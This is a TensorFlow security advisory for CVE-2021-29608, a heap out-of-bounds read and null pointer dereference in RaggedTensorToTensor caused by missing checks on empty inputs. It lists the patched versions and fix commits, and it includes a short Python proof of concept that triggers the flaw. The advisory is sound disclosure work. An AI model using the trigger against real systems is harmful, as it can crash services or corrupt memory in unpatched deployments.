Heap OOB and null pointer dereference in `RaggedTensorToTensor`

Moderate **mihaimaruseac** published **GHSA-rgvq-pcvf-hx75** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

Due to lack of validation in `tf.raw_ops.RaggedTensorToTensor`, an attacker can exploit an undefined behavior if input arguments are empty:

```
import tensorflow as tf

shape = tf.constant([-1, -1], shape=[2], dtype=tf.int64)
values = tf.constant([], shape=[0], dtype=tf.int64)
default_value = tf.constant(404, dtype=tf.int64)
row = tf.constant([269, 404, 0, 0, 0, 0, 0], shape=[7], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']

tf.raw_ops.RaggedTensorToTensor(
  shape=shape, values=values, default_value=default_value,
  row_partition_tensors=rows, row_partition_types=types)
```

The implementation only checks that one of the tensors is not empty, but does not check for the other ones.

There are multiple `DCHECK` validations to prevent heap OOB, but these are no-op in release builds, hence they don't prevent anything.

Patches

We have patched the issue in GitHub commit b761c9b652af2107cfbc33efd19be0ce41daa33e followed by GitHub commit f94ef358bb3e91d517446454edff6535bcfe8e4a and GitHub commit c4d7afb6a5986b04505aca4466ae1951686c80f6.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Moderate

CVE ID

CVE-2021-29608

Weaknesses

No CWEs